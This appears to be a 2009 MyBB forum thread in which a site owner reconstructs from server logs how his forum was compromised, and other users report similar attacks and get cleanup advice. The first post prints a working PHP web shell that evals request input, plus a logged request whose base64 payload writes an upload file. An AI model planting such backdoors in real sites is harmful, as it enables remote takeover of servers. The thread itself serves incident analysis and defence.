|
My 1.4.6 forum got hacked. A close view.
|
|
07-01-2009, 05:30 PM
(This post was last modified: 07-01-2009 06:22 PM by Anudu.)
Post: #1
|
|||
|
|||
|
My 1.4.6 forum got hacked. A close view.
Hi there! As I mentioned here earlier today, my forum got hacked, because I did not upgrade in time.
If you don't mind, I wanna have a closer look at what happened here, using the server's logfile. Maybe you can help me understand the steps the hacker took. First, the user found the forum via the copyright bit and Yahoo: Code: 94.101.131.240 www.mysite.org - [01/Jul/2009:10:53:11 +0200] "GET /forum/archive/index.php HTTP/1.1" 200 2776 "http://search.yahoo.com/search?p="powered+by+mybb"+site:de&y=Search&fr=sfp&fr2=sb-top&xargs=0&pstart=1&b=1&xa=vNWg0lcwjpUdScW1_BEtoQ--,1246558928" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10"Next he went to the root of the forum and also called task.php. I don't really know what task.php is for at all. Maybe you can explain? Code: 94.101.131.240 www.mysite.org - [01/Jul/2009:10:53:39 +0200] "GET /forum/ HTTP/1.1" 200 4167 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10"Now he registered. He had to do this, because the 1.4.6 vulnerability is in the user profile edit page (as far as I understood the patch) ![]() Code: 94.101.131.240 www.mysite.org - [01/Jul/2009:10:53:47 +0200] "GET /forum/member.php?action=register HTTP/1.1" 200 3170 "http://www.mysite.org/forum/" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10"At this moment, the hacker switches browsers. He uses "Flock". Never heard of it before and I don't know why he switched. Maybe you've got an idea? Code: 94.101.131.240 www.mysite.org - [01/Jul/2009:10:55:08 +0200] "POST /forum//member.php HTTP/1.1" 200 2369 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008121620 Firefox/3.0.5 Flock/2.0.3"He's messing around in the user control panel. Logs don't really tell what he did there, but I guess he injected something into the birthday field: Code: 94.101.131.240 www.mysite.org - [01/Jul/2009:10:55:08 +0200] "GET /forum//usercp.php?action=profile HTTP/1.1" 200 19208 "http://www.mysite.org/forum//member.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008121620 Firefox/3.0.5 Flock/2.0.3"Now he tries to access the Admin-panel. I don't think that worked, for his user account was no admin, of course. Don't know why he did this. Just another attempt? That would be most interesting. Code: 94.101.131.240 www.mysite.org - [01/Jul/2009:10:55:12 +0200] "POST /forum///admin//index.php HTTP/1.1" 200 7049 "http://www.mysite.org/forum//usercp.php?action=profile" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008121620 Firefox/3.0.5 Flock/2.0.3"Now he accesses themes.php in the cache/themes subfolder. This file doesn't belong to MyBB, so he created it in one of the prior steps. Can you tell me which one? Code: 94.101.131.240 www.mysite.org - [01/Jul/2009:10:55:17 +0200] "GET /forum///cache/themes/themes.php HTTP/1.1" 200 19 "-" "-"PHP Code: <?PHP if (isset($_REQUEST[x])) eval(stripslashes($_REQUEST[x])); ?>Now he inserted a base64 encoded string which created the file last.php. That's also in cache/themes. Code: 94.101.131.240 www.mysite.org - [01/Jul/2009:10:55:19 +0200] "GET /forum//cache/themes/themes.php?x=eval(base64_decode(%22JGEgPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBTkNpUnRjMmNnUFNCamIzQjVLQ1JmUmtsTVJWTmJhR0Z0WW1GelhWdDBiWEJmYm1GdFpWMHNKRjlHU1V4RlUxdG9ZVzFpWVhOZFcyNWhiV1ZkS1NBL0lDSjNiM0pyY3lJZ09pQWlibTkwZDI5eWEzTWlPdzBLWldOb2J5QWtYMFpKVEVWVFcyaGhiV0poYzExYmJtRnRaVjA3RFFwbFkyaHZJQ1J0YzJjN0RRby9QZzBLUEdadmNtMGdSVTVEVkZsUVJUMGliWFZzZEdsd1lYSjBMMlp2Y20wdFpHRjBZU0lnUVVOVVNVOU9QU0lpSUUxRlZFaFBSRDBpVUU5VFZDSStJQTBLUEdsdWNIVjBJRTVCVFVVOUltaGhiV0poY3lJZ1ZGbFFSVDBpWm1sc1pTSStJQTBLUEdsdWNIVjBJRlpCVEZWRlBTSnpkV0p0YVhRaUlGUlpVRVU5SW5OMVltMXBkQ0krUEM5bWIzSnRQZz09Iik7JGZwID0gZm9wZW4oImxhc3QucGhwIiwgJ3crJyk7ZndyaXRlKCRmcCwgJGEpO2ZjbG9zZSgkZnApOw%22)); HTTP/1.1" 200 5 "http://www.mysite.org/forum//usercp.php?action=profile" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008121620 Firefox/3.0.5 Flock/2.0.3"The base64 encoded stuff and the content of last.php reads like this: PHP Code: <?phpFor some reason, he now switches back to normal Firefox and accesses the newly created file, which now fetches another, big PHP file, called inc.php. Code: 94.101.131.240 www.mysite.org - [01/Jul/2009:10:55:29 +0200] "GET /forum//cache/themes/last.php HTTP/1.1" 200 161 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10"The rest of his accesses is on /forum//cache/themes/inc.php, where he can see and delete everything that PHP can. ![]() inc.php is a 250 kbyte hacking tool. Do you have any explanations for the stuff that I don't understand? Thankyou!! And keep up the good work! |
|||
|
07-01-2009, 05:47 PM
Post: #2
|
|||
|
|||
|
RE: My 1.4.6 forum got hacked. A close view.
I just got hacked as well, hella ton of files in the 'cache/themes' folder.
And I was running 1.4.8 =[ |
|||
|
07-01-2009, 05:49 PM
Post: #3
|
|||
|
|||
|
RE: My 1.4.6 forum got hacked. A close view.
It happened when you were on 1.4.8?? Did you upload all the correct files??
My Personal Site - Twitter MyBB Support Team |
|||
|
07-01-2009, 05:56 PM
(This post was last modified: 07-01-2009 06:13 PM by dyrer.)
Post: #4
|
|||
|
|||
|
RE: My 1.4.6 forum got hacked. A close view.
I got hacked too
with mybb 1.4.5 Now how can fix the problem? I have reupload everything but still not working |
|||
|
07-01-2009, 06:17 PM
Post: #5
|
|||
|
|||
|
RE: My 1.4.6 forum got hacked. A close view.
Updating to the latest version now won't magically fix the problem....
Check to see if there's anything in your ./cache/themes/ folder that shouldn't be there. My Personal Site - Twitter MyBB Support Team |
|||
|
07-01-2009, 06:17 PM
Post: #6
|
|||
|
|||
|
RE: My 1.4.6 forum got hacked. A close view.
Well that was educational
|
|||
|
07-01-2009, 06:23 PM
Post: #7
|
|||
|
|||
|
RE: My 1.4.6 forum got hacked. A close view.
Yes I had properly upgraded. I've been doing this since MyBB gold was released.
|
|||
|
07-01-2009, 06:23 PM
Post: #8
|
|||
|
|||
| RE: My 1.4.6 forum got hacked. A close view. | |||
|
07-01-2009, 06:27 PM
Post: #9
|
|||
|
|||
|
RE: My 1.4.6 forum got hacked. A close view.
http://zone-h.org/archive/defacer=NobodyCoder/page=1
There, you can see all the mybb installs that have been hacked in the past two days. Good news, looks like less than 100. Maybe? :o |
|||
|
07-01-2009, 06:30 PM
(This post was last modified: 07-01-2009 06:31 PM by dyrer.)
Post: #10
|
|||
|
|||
|
RE: My 1.4.6 forum got hacked. A close view.
I changed theme and the Iranian president gone
And the guy become administrator |
|||
|
« Next Oldest | Next Newest »
|
Search
Member List
Calendar
Help





![[Image: gaga_alejandro.png]](http://paulhq.com/images/gaga_alejandro.png)

![[Image: 1255110914.png]](http://img.compwhizii.net/1255110914.png)